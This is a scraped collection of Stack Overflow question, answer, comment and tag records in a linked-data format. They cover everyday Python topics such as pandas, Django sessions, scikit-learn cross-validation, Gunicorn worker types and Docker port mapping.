has body: Here is a pandas approach: data1 = '''\ Ethnics HairColor EyeColor HairStyle European Red Blue Short European Blonde Dark Short European Brown Green Long Asian Brown Dark Medium''' data2 = '''\ Name Id Ethnics HairColor HairStyle EyeColor Ana 11 European Red Short Blue Ion 8 European Brown Short Dark Ryan 24 Asian Brown Short Blue Mike 13 European Brown Short Blue Paul 9 European Blonde Short Dark Sam 1 European Brown Short Green John 4 European Blonde Long Green Chung 6 Asian Brown Medium Dark''' import pandas as pd df1 = pd.read_csv(pd.compat.StringIO(data1), sep='\s+') df2 = pd.read_csv(pd.compat.StringIO(data2), sep='\s+') #df1 = pd.read_csv('atributes.csv') # Uncomment this row #df2 = pd.read_csv('db.csv') # Uncomment this row cols = df1.columns.tolist() s = set(df1.set_index(cols).index) df_out = df2[df2.set_index(cols).index.isin(s)] df_out.to_csv('final.csv', index=False) Final.csv: Name,Id,Ethnics,HairColor,HairStyle,EyeColor Ana,11,European,Red,Short,Blue Paul,9,European,Blonde,Short,Dark Chung,6,Asian,Brown,Medium,Dark
has comment: http://stackoverflow.com/comment/86006472
has comment: http://stackoverflow.com/comment/86006931
answers question: http://stackoverflow.com/q/49497210
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/86006981
has comment: http://stackoverflow.com/comment/86005150

http://stackoverflow.com/comment/86053525
type: QuestionComment
comment on: http://stackoverflow.com/q/49523145
score: 0
has text: There, I added it to my answer. Context managers are commonly used for these situations, where destructors would be used in c++.
type: Comment

http://stackoverflow.com/q/49516592
score: 4
has title: Easily creating a bash script in python
tagged with: bash
type: Question
accepted answer: http://stackoverflow.com/a/49516807
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86038513
favorite count: 0
upvote count: 4
has comment: http://stackoverflow.com/comment/86038780
possible better answer: http://stackoverflow.com/a/68419257
has answer: http://stackoverflow.com/a/68419257
has body: I'm looking to write some tests that will create and execute a bash script. Bash itself has a nice way to do this: % cat &gt; run.sh &lt;&lt; EOF &gt; echo "I ran this" &gt; EOF % . run.sh I ran this In Python I can do this: with open ('run.sh', 'w') as rsh: rsh.write('echo "I ran this"\n') -- etc --- This is fine for a short script in Python, but I'm wondering if there is some technique I don't know about that let's me do something like what I can do in bash.
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/49516807
tagged with: python

http://stackoverflow.com/comment/85928528
score: 1
type: Comment
type: QuestionComment
has text: DRF 3.7 stoped supporting Django < 1.10.
comment on: http://stackoverflow.com/q/49462439

http://stackoverflow.com/q/49544981
has answer: http://stackoverflow.com/a/49559631
answer count: 3
has comment: http://stackoverflow.com/comment/86122716
has comment: http://stackoverflow.com/comment/86123026
has answer: http://stackoverflow.com/a/49554266
has comment: http://stackoverflow.com/comment/86123321
tagged with: cross-validation
has comment: http://stackoverflow.com/comment/86125588
has comment: http://stackoverflow.com/comment/86126092
tagged with: python
has answer: http://stackoverflow.com/a/56971710
favorite count: 0
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/86125754
possible better answer: http://stackoverflow.com/a/49554266
tagged with: random-forest
has comment: http://stackoverflow.com/comment/86126576
has comment: http://stackoverflow.com/comment/86112829
has title: Why does cross validation RF classification perform worse than without cross validation?
downvote count: 0
tagged with: scikit-learn
score: 4
has body: I am puzzled why a Random Forest classification model without cross-validation yields a mean accuracy score of .996, but with 5 fold cross-validation, the model's mean accuracy score is .687. There are 275,956 samples. Class 0 = 217891, class 1 = 6073, class 2 = 51992 I am trying to predict the "TARGET" column, which is 3 classes [0,1,2]: data.head() bottom_temperature bottom_humidity top_temperature top_humidity external_temperature external_humidity weight TARGET 26.35 42.94 27.15 40.43 27.19 0.0 0.0 1 36.39 82.40 33.39 49.08 29.06 0.0 0.0 1 36.32 73.74 33.84 42.41 21.25 0.0 0.0 1 From the docs, the data is split into training and test # link to docs http://scikit-learn.org/stable/modules/cross_validation.html from sklearn.model_selection import train_test_split from sklearn import datasets from sklearn import svm # Create a list of the feature column's names features = data.columns[:7] # View features features Out[]: Index([u'bottom_temperature', u'bottom_humidity', u'top_temperature', u'top_humidity', u'external_temperature', u'external_humidity', u'weight'], dtype='object') #split data X_train, X_test, y_train, y_test = train_test_split(data[features], data.TARGET, test_size=0.4, random_state=0) #build model clf = RandomForestClassifier(n_jobs=2, random_state=0) clf.fit(X_train, y_train) #predict preds = clf.predict(X_test) #accuracy of predictions accuracy = accuracy_score(y_test, preds) print('Mean accuracy score:', accuracy) ('Mean accuracy score:', 0.96607267423425713) #verify - its the same clf.score(X_test, y_test) 0.96607267423425713 Onto the cross validation: from sklearn.model_selection import cross_val_score scores = cross_val_score(clf, data[features], data.TARGET, cv=5) print("Accuracy: %0.2f (+/- %0.2f)" % (scores.mean(), scores.std() * 2)) Accuracy: 0.69 (+/- 0.07) It is much lower! And to verify a second way: #predict with CV # http://scikit-learn.org/stable/modules/generated/sklearn.model_selection.cross_val_predict.html#sklearn.model_selection.…
accepted answer: http://stackoverflow.com/a/49559631
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86113182

http://stackoverflow.com/q/49592776
downvote count: 1
has comment: http://stackoverflow.com/comment/86193909
tagged with: django
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86193404
has answer: http://stackoverflow.com/a/49597280
type: UnansweredQuestion
tagged with: session
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86199605
has title: Create Django sessions
has comment: http://stackoverflow.com/comment/86193743
has body: I'm currently facing with a problem, in my web app if 2 users log in and then each one wants to make an operation(e.g. add a review) these 2 reviews will appear in the database as being from the same person(last logged in user). I have documented and know that sessions have to be made, but I can't figure it out how. From the examples found I understand that something like that is needed user = authenticate(username=username, password=password) if user is not None: login(request, user) request.session['username'] = username return redirect('index') else: return render(request, 'library/login.html') and then in profile if I want to print the username always, to all users, will show the last logged in user class Profil(View): template_name = 'library/profile.html' def get(self, request): print(request.session['username']) # the rest of the code Can anyone please explain to me where I am wrong and how can i correct it? An example would be perfect. P.S.: Apologize in advance if you think it's a stupid question.
upvote count: 0
has comment: http://stackoverflow.com/comment/86193773
has comment: http://stackoverflow.com/comment/86193853
answer count: 1

http://stackoverflow.com/a/50189156
score: 10
type: Answer
upvote count: 11
downvote count: 1
answers question: http://stackoverflow.com/q/49454072
has body: What you describe appears to be an indicator that you running the Gunicorn server with the sync worker class serving an I/O bound application. Can you share your Gunicorn configuration? Is it possible that Google's platform has some kind of autoscaling feature (I'm not really familiar with their service) that's being triggered while your Kubernetes configuration does not? Generically speaking increasing the number cores for a single instance will only help if you also increase the number of workers spawned to attend incoming requests. Please see the Gunicorn's design documentation with a special emphasis on the worker types section (and why sync workers are suboptimal for I/O bound applications) - its a good read and provides a more detailed explanation about this problem. Just for fun, here's a small exercise to compare the two approaches: import time def app(env, start_response): time.sleep(1) # takes 1 second to process the request start_response('200 OK', [('Content-Type', 'text/plain')]) return [b'Hello World'] Running Gunicorn with 4 sync workers: gunicorn --bind '127.0.0.1:9001' --workers 4 --worker-class sync --chdir app app:app Let's trigger 8 request at the same time: ab -n 8 -c 8 "http://localhost:9001/" This is ApacheBench, Version 2.3 &lt;$Revision: 1706008 $&gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient).....done Server Software: gunicorn/19.8.1 Server Hostname: localhost Server Port: 9001 Document Path: / Document Length: 11 bytes Concurrency Level: 8 Time taken for tests: 2.007 seconds Complete requests: 8 Failed requests: 0 Total transferred: 1096 bytes HTML transferred: 88 bytes Requests per second: 3.99 [#/sec] (mean) Time per request: 2006.938 [ms] (mean) Time per request: 250.867 [ms] (mean, across all concurrent requests) Transfer rate: 0.53 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Co…

http://stackoverflow.com/a/49593274
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86194166
has body: Option 1 crosstab I'd recommend converting that column to a categorical dtype. crosstab/pivot will then handle the rest. i = df.user_id j = pd.Categorical(df.category, categories=df_list.category) pd.crosstab(i, j).astype(bool) col_0 A B C D E F user_id 1 True True False True False False 2 True False False False False True Option 2 unstack + reindex To fix your existing code, you can simplify the second step with reindex: (df.groupby(['user_id', 'category']) .size() .unstack(fill_value=0) .reindex(df_list.category, axis=1, fill_value=0) .astype(bool) ) category A B C D E F user_id 1 True True False True False False 2 True False False False False True
accepted answer of: http://stackoverflow.com/q/49593222
answers question: http://stackoverflow.com/q/49593222
type: Answer
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/q/49440473
has body: I have a directory that has about 3000 directories. Each of these 3000 directories has 2 .jpg images. My goes is to move each image from each of these 3000 directories into one separate folders. This is the master directory that has all the images. Here is a more visual version of my structure: -dir1 -littledir1 - image1.jpg -image2.jpg -dir2 -littledir2 -image1.jpg -image2.jpg . . . -dir 3000 -litledir3000 -image1.jpg -image2.jpg I attempted to solve this problem with the following code without much success. The keeps running without copying over anything: My code: import os import glob import shutil dirpath = '/Volumes/LaCie/lfw/' dirs = os.listdir(dirpath) dst_dir = '/Volumes/LaCie/lfw/dstn/' i = 1 for dirname in dirs: if (dirname.endswith('.DS_Store')): continue for jpgfile in glob.iglob(os.path.join(dirpath, "*.jpg")): shutil.copy(jpgfile, dst_dir) print (dst_dir) How can I better approach this problem?
score: 1
has comment: http://stackoverflow.com/comment/85883409
downvote count: 0
upvote count: 1
tagged with: shutil
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85885454
has comment: http://stackoverflow.com/comment/85883196
tagged with: python
has title: Copying images from all the directories into another
accepted answer: http://stackoverflow.com/a/49440619
has answer: http://stackoverflow.com/a/49440619
possible better answer: http://stackoverflow.com/a/49440629
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/49440629

http://stackoverflow.com/q/49497965
has title: My counter isn't running properly
score: 2
has comment: http://stackoverflow.com/comment/86000101
type: AnsweredQuestion
has body: I'm working on a simple project for my class to check if a password contains only numbers and letters and no other characters, but I keep getting an error in my variable count. The code runs through the correct if statement, but it doesn't add to the counter. In the end, it also returns True instead of False. Any help? def chaCheck2(password): for i in range(len(password)): goodCha = 0 badCha = 0 if 48 &lt;= ord(password[i]) &lt;= 57 or 65 &lt;= ord(password[i]) &lt;= 90 or 97 &lt;= ord(password[i]) &lt;= 122: goodCha += 1 print ("goodCha: ", goodCha) else: badCha += 1 print("badCha: ", badCha) if badCha &gt; 0: print("False") else: print("True") chaCheck2("a.bcd") Output: goodCha: 1 badCha: 1 goodCha: 1 goodCha: 1 goodCha: 1 True
downvote count: 0
answer count: 1
tagged with: string
tagged with: boolean-logic
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49498236
upvote count: 2
has answer: http://stackoverflow.com/a/49498236
tagged with: counter
has comment: http://stackoverflow.com/comment/85999851
tagged with: python

http://stackoverflow.com/q/49477858
type: Question
type: UnansweredQuestion
has body: I am just looking to create a column with two rows each having multiple inputs. r1 = row(children=[transaction_type, instrument,master_list_type,order_type,product_type, duration,square_off,trailing_ticks],sizing_mode='scale_width') r2 = row(children=[quantity,price,trigger_price,disclosed_quantity,stop_loss],sizing_mode='scale_width') lo = column(r1,r2) #show(row(transaction_type, instrument,master_list_type,order_type,product_type, duration,square_off,trailing_ticks)) curdoc().add_root(lo) idea is to get a relevant inputs in rows. I get output like If I don't give sizing_mode, they are not crowded but each take too much space.
tagged with: python
tagged with: bokeh
score: 0
answer count: 1
has title: Bokeh row layout gets Crowded with sizing or width option
has answer: http://stackoverflow.com/a/49541078

http://stackoverflow.com/comment/86016111
has text: @Alex no, yield, will turn the function into a generator. I guess that's what is intended by the creators of those codes.
score: 3
comment on: http://stackoverflow.com/q/49506001
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86056895
type: QuestionComment
comment on: http://stackoverflow.com/q/49524396
has text: It's possible that I am misunderstanding the terminology, so I'll try to explain in terms that I am more comfortable with. For each frame of a video, I am passing in a 135x240 buffer (x) along with 9 labels (y). The state of the labels on one frame is likely to influence the state of the labels on a later frame. Thus, for any given frame, I want to be able to predict the labels for that frame, and I want my prediction to account for the states of labels on previous frames.
score: 0
type: Comment

http://stackoverflow.com/q/49497363
upvote count: 1
tagged with: decorator
answer count: 1
has answer: http://stackoverflow.com/a/49497974
favorite count: 0
linked to: http://stackoverflow.com/q/15112125
has title: How to compare more arguments in a decorator?
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/49497974
has body: I have to write the simply JSON validator @mydecorator. The decorator has to to check whether the submitted json contains only the elements listed in the decorator's arguments. For other content, it should raise a ValueError. I try to do in this way: sent_json = {"first_name": "James", "last_name": "Bond"} def mydecorator(first_arg, second_arg, *args, **kwargs): def decoratored(f): if first_arg and second_arg in ' {0} '.format(f()): return len(sent_json) else: return ValueError('could not find') return decoratored @mydecorator('first_name', 'last_name') def hello(): return sent_json print(hello) But I don't know how to submit and compare more arguments in the decorator for example, when user uses more than two arguments in decorator...e.g. three, four, or more. for example @validate_json('first_name', 'last_name') def process_json(json_data): return len(json_data) result = process_json('{"first_name": "James", "last_name": "Bond"}') assert result == 44 process_json('{"first_name": "James", "age": 45}') &gt; ValueError process_json('{"first_name": "James", "last_name": "Bond", "age": 45}') &gt; ValueError
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/comment/86146779
type: Comment
comment on: http://stackoverflow.com/a/49565550
type: AnswerComment
has text: Okey understood. Now that you sent me that link, I would like to ask you the meaning of this sentence (found in the link): "...performed an extensive 10-fold cross validation exercise to tune the parameters and fit the final model." How is this 10-fold CV used to tune the parameters, you look for the hyperparameters that best fit each iteration of the 10-fold CV, and then you average them or something?
score: 0

django-allauth
tags question: http://stackoverflow.com/q/49472494
tags question: http://stackoverflow.com/q/49460090
type: Tag
tag name: django-allauth

http://stackoverflow.com/a/49525242
accepted answer of: http://stackoverflow.com/q/49525016
type: AcceptedAnswer
has body: Here is one way using itertools.product. The result is a list of "sub-dictionaries". For simplicity, I have used a list of integers as values, but this can be replaced by values of your choice. from itertools import product d = {1: [3, 4, 5], 2: [6, 7, 8]} values = list(zip(*sorted(d.items())))[1] res = [dict(enumerate(x, 1)) for x in product(*values)] If you need to test each dictionary individually, use a generator expression instead and iterate it: for item in (dict(enumerate(x, 1)) for x in product(*values)): ... If you have string keys: res = [dict(zip(sorted(d), x)) for x in product(*values)] Result: [{1: 3, 2: 6}, {1: 3, 2: 7}, {1: 3, 2: 8}, {1: 4, 2: 6}, {1: 4, 2: 7}, {1: 4, 2: 8}, {1: 5, 2: 6}, {1: 5, 2: 7}, {1: 5, 2: 8}]
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86056483
type: Answer
answers question: http://stackoverflow.com/q/49525016

http://stackoverflow.com/q/49590052
has comment: http://stackoverflow.com/comment/86188100
has comment: http://stackoverflow.com/comment/86187972
tagged with: python
accepted answer: http://stackoverflow.com/a/49590084
possible better answer: http://stackoverflow.com/a/49590104
type: AnsweredQuestion
score: 0
tagged with: memory-management
answer count: 2
has body: I am doing a form of breadth first search in a directed graph, and I want to store data recursively in the form (node, parent data*). How is this recursive? Starting with the root it will look like (root, None). Then the data for its child will be (child1, (root, None)). The child of child1 will then store (child2, (child1, (root, None))). Obviously as the path length grows this becomes a lot of data. My question is: Lets say I assign a variable to the parent data, say parent_data = (root, None) and then write the child data as (child1, parent_data), is the variable storing all the parent data or is it simply a reference that will access the parent data upon request? I don't want to be storing all of this information multiple times. What I wish I could do was simply have a C++ style pointer where in C++ notation I would assign tuple * parent_pointer = &amp;(root, None). Is this possible in Python or even necessary? Apologies if the question is not clear, I am new to CS.
upvote count: 1
has title: Pointing to Address in Python
has comment: http://stackoverflow.com/comment/86188819
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49590084
has answer: http://stackoverflow.com/a/49590104

http://stackoverflow.com/q/49544123
tagged with: matplotlib
answer count: 1
has answer: http://stackoverflow.com/a/49544625
favorite count: 0
type: Question
has body: I am trying to build a boxplot out of a simple dataframe. I take one with multiple columns and only take the two that I need: mydata = data'addr_state','loan_amnt'.dropna().copy() mydata['loan_amnt'] = mydata['loan_amnt'].astype(float) mydata[:5] addr_state loan_amnt 0 AZ 5,000.00 1 GA 2,500.00 2 IL 2,400.00 3 CA 10,000.00 4 OR 3,000.00 mydata.columns Index(['addr_state', 'loan_amnt'], dtype='object') Basically, it's a bunch of state - amount records and I am trying to build the candles for it: mydata.boxplot(column='addr_state') KeyError: "['addr_state'] not in index" I tried set_index() and rebuild_index() but neither seem to fix it.
tagged with: python
accepted answer: http://stackoverflow.com/a/49544625
tagged with: plot
tagged with: indexing
type: AnsweredQuestion
downvote count: 0
has title: KeyError: item not in index while trying to build boxplot with pandas
tagged with: pandas
score: 1
upvote count: 1

pde
tags question: http://stackoverflow.com/q/49564773
tag name: pde
type: Tag

http://stackoverflow.com/comment/86165836
score: 2
type: QuestionComment
type: Comment
has text: There isn't systematic difference or relation. Most of the functions are written in Python which you can read. Many delegate the action to the corresponding method if it exists. The function form can also convert a list into an array before acting on it. The method call is usually a bit faster because it involves one less layer of calling.
comment on: http://stackoverflow.com/q/49578953

http://stackoverflow.com/comment/86187074
type: Comment
type: QuestionComment
has text: How do you pass your `SharedNumpyArray` objects to your child process to begin with?
comment on: http://stackoverflow.com/q/49581160
score: 0

http://stackoverflow.com/comment/85953698
type: QuestionComment
comment on: http://stackoverflow.com/q/49475128
score: 0
has text: The result of the griddata interpolation will depend on the data. So it may well be that everything here works as expected. In that case, where should the gaussian shape originate from? How does your data relate to that "gaussian shape"?
type: Comment

http://stackoverflow.com/a/49494823
has comment: http://stackoverflow.com/comment/86005365
answers question: http://stackoverflow.com/q/49494078
has body: This will work for python 3.6+ when your dict is ordered. from math import floor, ceil def find_weighted_median(d): median_location = sum(d.values()) / 2 lower_location = floor(median_location) upper_location = ceil(median_location) lower = None upper = None running_total = 0 for val, count in d.items(): if not lower and running_total &lt;= lower_location &lt;= running_total + count: lower = val if running_total &lt;= upper_location &lt;= running_total + count: upper = val if lower and upper: return (lower + upper) / 2 running_total += count
has comment: http://stackoverflow.com/comment/86115207
type: Answer
has comment: http://stackoverflow.com/comment/86003398
score: 0

http://stackoverflow.com/comment/86038116
score: 2
comment on: http://stackoverflow.com/q/49516439
type: Comment
type: QuestionComment
has text: You don't have `break` for your outer while loop

http://stackoverflow.com/q/49449683
type: UnansweredQuestion
tagged with: physics
tagged with: matplotlib
tagged with: astronomy
tagged with: python
has comment: http://stackoverflow.com/comment/85901293
has title: How to fix issue of variables being referenced before assignment
has comment: http://stackoverflow.com/comment/85905557
answer count: 0
score: 0
has body: I'm having some issues with this code as the final line seems to be causing an issue: from astropy.io import fits import matplotlib.pyplot as plt import numpy as np import glob import pdb #to debug filelist=glob.glob('5/img/*.fit') #reads in all fits files hdu = fits.open('MCtest_C1.fits') hdu[0].header coeff=hdu[0].data #added in [1].data print(coeff.shape) hdu.close() def make_cube(filelist,x0,x1,y0,y1): exptime= np.zeros(len(filelist)) n=np.zeros(len(filelist)) jd= np.zeros(len(filelist)) #pdb.set_trace() #- used to debug for i,name in enumerate(filelist): hdu=fits.open(name) img=hdu[1].data nonlin = coeff[:,:,0]*img**3 + coeff[:,:,1]*img**2 + coeff[:,:,2]*img**1 + coeff[:,:,3]*img**0 exptime[i]=hdu[0].header['EXPTIME'] n[i]=int( (hdu[0].header['RUNSET'].split(':') )[0] ) jd[i]=hdu[0].header['JD'] hdu.close() img=img[x0:x1,y0:y1] #makes cutout idx=(n&gt;3) #added 13/10/17 if (i==0): cube=img.copy() else: cube=np.dstack((cube,img)) print (n[i],i,cube.shape) print(n,cube.shape) idx=(n&gt;3) hdu=fits.PrimaryHDU(cube[:,:,idx]) hdu.writeto( ('cube_corrected_%i_%i_%i_%i.fits' % (x0,x1,y0,y1) ) ,overwrite=True ) hdu=fits.PrimaryHDU(exptime[idx]) hdu.writeto( ('exptime_corrected_%i_%i_%i_%i.fits' % (x0,x1,y0,y1) ) ,overwrite=True ) hdu=fits.PrimaryHDU(jd[idx]) hdu.writeto( ('jd_corrected_%i_%i_%i_%i.fits' % (x0,x1,y0,y1) ) ,overwrite=True ) hdu=fits.PrimaryHDU(nonlin[idx]) hdu.writeto( ('nonlin_corrected_%i_%i_%i_%i.fits' % (x0,x1,y0,y1) ), overwrite=True) make_cube(filelist, 0, 512, 0, 512) The error is as follows: UnboundLocalError: local variable 'cube' referenced before assignment I have tried different indentation of the final line, and it runs with different indentation but it doesn't run the code properly. I've also looked up other issues associated with this error but I haven't seen anything that could help me. Any help would be great! Thanks :)
type: Question
has comment: http://stackoverflow.com/comment/85901419

http://stackoverflow.com/comment/86039346
type: Comment
comment on: http://stackoverflow.com/q/49516630
has text: @DanMašek OK thank you. The cropped images blind my eyes!
score: 0
type: QuestionComment

http://stackoverflow.com/comment/86251518
comment on: http://stackoverflow.com/a/49562743
score: 0
type: Comment
has text: The variables in your question and your answer do not correspond at all. You may want to consider editing either to make sure they correspond to each other.
type: AnswerComment

http://stackoverflow.com/comment/85960485
has text: I thought it might caused by where I put the return. So I changed it and I got duplicates of the last dataframe
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49478559

http://stackoverflow.com/a/49599300
has body: How about just 'x,y = y,x' ? There is no need for a separate function.
answers question: http://stackoverflow.com/q/49599241
type: Answer
score: 4
upvote count: 4
downvote count: 0

http://stackoverflow.com/comment/86136582
type: Comment
comment on: http://stackoverflow.com/a/49552377
score: 0
type: AnswerComment
has text: @Milister I did make the point that you have to check the dict before formatting it because it might be incomplete. But I've updated the answer to provide one way to deal with that. There are others, for example `if region in mydict:`.

http://stackoverflow.com/comment/86078750
type: Comment
has text: This seems to work, but I can see how it's going to blow up as soon as the sklearn-devs decide to touch one of these functions. Maybe I should file a bug report (or a feature request) for this. Anyway, thanks for the answer.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49535681

decision-tree
type: Tag
tags question: http://stackoverflow.com/q/49517298
tags question: http://stackoverflow.com/q/49540162
tags question: http://stackoverflow.com/q/49525582
tag name: decision-tree

http://stackoverflow.com/comment/86042536
score: 0
type: Comment
type: AnswerComment
has text: yes, good point. OP wants to insert in specific index, do we have anything thats like `log(n)`?
comment on: http://stackoverflow.com/a/49518372

http://stackoverflow.com/comment/86076515
comment on: http://stackoverflow.com/q/49492055
has text: >>> GoProCamera.GoPro(constants.pair) Waking up... Waking up... Error, camera not defined. Make sure your GoPro camera is in pairing mode! Go to settings > Wifi > PAIR > GoProApp to start pairing. Then connect to it, the ssid name should be GOPRO-XXXX/GPXXXXX/GOPRO-BP-XXXX and the password is goprohero Enter pairing code: 9927
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49498460
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49498210
score: 2
has body: Microsoft Visual Studio doesn't ship out-of-box with any VC compiler (or any compiler generally). Your installation is modularized, so you will have to make sure that you did, in fact, install a visual c++ with your installation of VS2017. Moreover, IIRC, VS2017 ships with Microsoft Visual C++ 15.0. You can install the 14.0 compiler with the Standalone Microsoft Visual Studio 2015 build tools. Make sure you have the correct setuptools version as well. You can check which version of MSVC is installed by looking at Start Menu -> Add / Remove Programs and checking in the list of installed programs.
type: Answer
has comment: http://stackoverflow.com/comment/86002318
has comment: http://stackoverflow.com/comment/86001962
answers question: http://stackoverflow.com/q/49498210
upvote count: 2

http://stackoverflow.com/q/49560894
has answer: http://stackoverflow.com/a/49561130
tagged with: python
answer count: 1
type: AnsweredQuestion
score: 0
has body: I'm using Python's sys.settrace to trace through code execution for a program analysis task. In contrast to what the documentation states I do not see a call event being registered when entering a code block. A sample tracer I'm using is below: class BasicTracer(object): def __init__(self, fun): self.fun = fun self.result_acc = [] self.orig_tracer = None def trace(self, frame, event, arg): self.result_acc.append((event, self.fun(frame))) return self.trace def setup(self): self.orig_tracer = sys.gettrace() sys.settrace(self.trace) def shutdown(self): sys.settrace(self.orig_tracer) def run(self, file_path): if not os.path.exists(file_path): with open('_instrumented.py', 'w') as f: f.write(file_path) file_path = '_instrumented.py' src = open(file_path, 'r').read() # compile, execute instrumented version namespace = { '__name__' : '__main__', '__file__' : file_path, '__builtins__' : __builtins__, } compiled = compile(src, filename=file_path, mode='exec') self.frame_acc = [] self.result_acc = [] self.setup() exec(compiled, namespace) self.shutdown() For example, consider the source code: src = """ x = 1 while x &lt; 3: x += 1 """ I see the expected return event upon exiting the while body, but there is no call event when entering. Am I missing something here? import inspect tracer = BasicTracer(lambda x: inspect.getframeinfo(x).code_context) tracer.run(src) tracer.result_acc [('call', ['x = 1\n']), ('line', ['x = 1\n']), ('line', ['while x &lt; 3:\n']), ('line', [' x += 1\n']), ('line', ['while x &lt; 3:\n']), ('line', [' x += 1\n']), ('line', ['while x &lt; 3:\n']), ('return', ['while x &lt; 3:\n']), ('call', [' def shutdown(self):\n']), ('line', [' sys.settrace(self.orig_tracer)\n'])] I'm using Python 3.6.3 on Mac OSX, in case that is relevant.
tagged with: trace
has title: Why no call event when entering code blocks?
has comment: http://stackoverflow.com/comment/86131231
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49561130
type: Question

http://stackoverflow.com/a/49479848
downvote count: 0
has body: The name of the file you pass to loadUiType is relative to the working directory, not your python file. You can pass the full path instead. To get the full path, you can find the directory of your current file and then join that with the name of your UI file. e.g: ... ui_path = os.path.dirname(os.path.abspath(__file__)) form_class = uic.loadUiType(os.path.join(ui_path, "main_window.ui"))[0] ...
has comment: http://stackoverflow.com/comment/85966999
answers question: http://stackoverflow.com/q/49478064
type: Answer
accepted answer of: http://stackoverflow.com/q/49478064
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/85960105
type: Comment
has text: @unutbu maybe yes when say " when __iadd__ is overriden, the x += y operation does NOT end with the end of __iadd__ method. Instead, it ends with x = x.__iadd__(y). In other words, Python assigns the return value of your __iadd__ implementation to the object you're "adding to", AFTER the implementation completes. This means it is possible to mutate the left side of the x += y operation so that the final implicit step fails" . The problem can be that x+=y is like write x = x.__iadd_(y), so if __iadd__() doesn't return x is null. Wait confirm
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49478433

http://stackoverflow.com/a/49527273
downvote count: 0
has comment: http://stackoverflow.com/comment/86302042
upvote count: 2
answers question: http://stackoverflow.com/q/49526899
type: Answer
has body: You need to map the internal port 5000 of your Flask app to your hosts public port. For example here I'm mapping 192.168.99.100:80 to your containers-ip port 5000. So if you access in your local browser http://192.168.99.100 you see the content of your container:5000 docker run -d -p 80:5000 your_image More on Docker run can be found in the documentation.
score: 2
has comment: http://stackoverflow.com/comment/86059994

http://stackoverflow.com/comment/86141594
has text: `print(f"Candidate: {','.join(lst[::-1])}")`.
comment on: http://stackoverflow.com/q/49566653
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49575145
has comment: http://stackoverflow.com/comment/86171219
type: UnansweredQuestion
tagged with: classification
has body: I am trying to build a supervised classifier using fast text API. My data is 'output.txt' with 15000 rows, 2 columns (gender and name) and 2 classes m/f. __label__F Mary __label__F Santa ... __label__M John code: #model = fasttext.load_model('model.bin') # using the default model classifier = fasttext.supervised('output.txt','model', label_prefix='__label__',thread=8) labels = classifier.predict('Maria',k=1) print(labels) when I test with one name it returns [[],[],[],[]] I can't understand where is my mistake. I followed the lines of code in fastext github. What is the issue creating in windows when the same code is able to work in Linux? I am using windows, python 3.4x. Update: I have commented the model = fasttext.load ..... so that the learnt supervised classifier model is saved in model.bin. The same code is working in Ubuntu, but not in windows. Any help appreciated.
has answer: http://stackoverflow.com/a/50435681
downvote count: 0
tagged with: machine-learning
score: 3
upvote count: 3
tagged with: python
has answer: http://stackoverflow.com/a/56138166
favorite count: 0
type: Question
has title: supervised classification with fasttext api returns empty array when tested in windows
tagged with: fasttext
answer count: 2

http://stackoverflow.com/comment/86071022
score: 0
comment on: http://stackoverflow.com/a/49531969
type: Comment
has text: thank you ! how to amend the code to apply it to all feature attributes(feature 1...feature) without explicitly writing it in the filter part ?
type: AnswerComment

http://stackoverflow.com/a/49444651
has body: You can try clicking it with javascript : element = driver.find_element(By.XPATH, 'xpath') driver.execute_script("arguments[0].click();", element)
type: Answer
answers question: http://stackoverflow.com/q/49443241
score: 0

http://stackoverflow.com/a/49592408
answers question: http://stackoverflow.com/q/49592193
has body: The interpreter's lifecycle is visualized at https://wiki.python.org/moin/CPythonInterpreterInitialization . The finalization part is basically: sts = &lt;result from running user code, in whatever mode was requested&gt; Py_Finalize() exit with status sts What Py_Finalize does is not explained there. Some explanation is in its documentation: Undo all initializations made by Py_Initialize() and subsequent use of Python/C API functions, and destroy all sub-interpreters that were created and not yet destroyed &lt;...> Bugs and caveats: The destruction of modules and objects in modules is done in random order; this may cause destructors (__del__() methods) to fail when they depend on other objects (even functions) or modules. &lt;...> So, roughly speaking, it garbage-collects all objects including modules. It also calls atexit handlers before that. The function's source can be found in pythonrun.c for Py2 and in pythonlifecycle.c for Py31 where you can get a more precize picture. I dunno how to to express that in a children's comic (that said, you didn't cover initialization sequence, either) but basically, this is what happens. 1where it consists solely of a call to Py_FinalizeEx, so I linked to that routine directly.
has comment: http://stackoverflow.com/comment/86192528
score: 0
has comment: http://stackoverflow.com/comment/86192659
type: Answer
has comment: http://stackoverflow.com/comment/86193004
has comment: http://stackoverflow.com/comment/86192849

http://stackoverflow.com/comment/86035734
type: Comment
has text: Will take your suggestion, adding more explanation :-)
type: AnswerComment
comment on: http://stackoverflow.com/a/49512780
score: 1

http://stackoverflow.com/comment/85915765
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49455785
